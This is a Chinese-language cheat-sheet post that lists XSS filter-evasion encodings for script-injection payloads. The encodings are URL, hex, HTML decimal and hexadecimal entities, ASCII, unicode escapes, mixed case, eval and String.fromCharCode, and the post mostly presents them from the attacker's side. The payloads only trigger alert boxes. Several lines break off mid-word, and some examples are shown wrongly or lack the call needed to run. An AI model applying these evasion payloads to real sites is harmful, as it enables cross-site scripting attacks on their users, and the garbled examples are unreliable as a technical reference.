<script>alert("xss");</script>
1、特殊符号URL编码
%3Cscript%3Ealert%28%22xss%22%29%3B%3C/script%3E
2、全部URL编码(HEX编码)
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
3、十进制编码
Html标签中某些属性值是可以使用&#ASCII方式进行编码,这种xss转码支持十进制和十六进制。
实际上,任何字符都可以用它的数字ASCII字符代码进行HTML编码。&#+xx,xx为任意字符的ASCII码
上面提到的某些属性值,此处以img标签的src属性来做测试。
<img src=”javas
进行十进制转码(&#)后得到为:
<img src=”javascript:alert('xss');”>
同时还可以在每个十进制字符后加分号(;);或者采用�、�、�、�、�、�、�、�等形式。就是在ASCII码数字前面加多个0
4、十六进制编码
十六进制和十进制类似。
<img src=”javascript:alert(‘xss’);”>
同样还可以在每个十六进制字符后加分号(;);或者采用�、�、�、�、�、�、�、�等形式。
5、ASCII 编码
60 115 99 114 105 112 116 62 97 108 101 114 116 40 34 120 115 115 34 41 59 60 47 115 99 114 105 112 116 62
6、uncode编码
Uncode编码突破: u003c为< uoo3e为> 一般编码左右单尖号即可。
u003cscriptu003ealert("xss");u003c/scriptu003e
7、大小写
<ScRipt>ALeRt("XSS");</sCRipT>
8、eval 函数突破过滤
Javas
<script>ev
可以使用\连接十六进制字符串。
<script>ev
9、String.fromCharCode函数突破特殊符号转义
magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如'(单引号)转换为\',"(双引号)转换为\" ,\转换为\\
比如:<script>alert("xss");</script>会转换为<script>alert(\"xss\");</script>,这样我们的xss就不生效了。
针对开启了magic_quotes_gpc的网站,我们可以通过javas
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)那么我们的XSS语句就变成了
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
String.fromCharCode()是javas
另外自己经常用的xss codec编码工具中的escape编码和unescape解码功能原理是:
escape编码、unescape解码是字符编码的一种方法,是JavaS
编码函数
escape():该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被转义序列替换。使用十六进制表示
译码函数 unescape():将被escape()编码过的 ASCII码转换成对应的字符
PS:
此为总结贴,里面借鉴了不少前人的精华,其中就有邱永华前辈出的《跨站脚本攻击剖析与防御》的内容,在此也建议大家能拜读一下这本XSS的经典之作。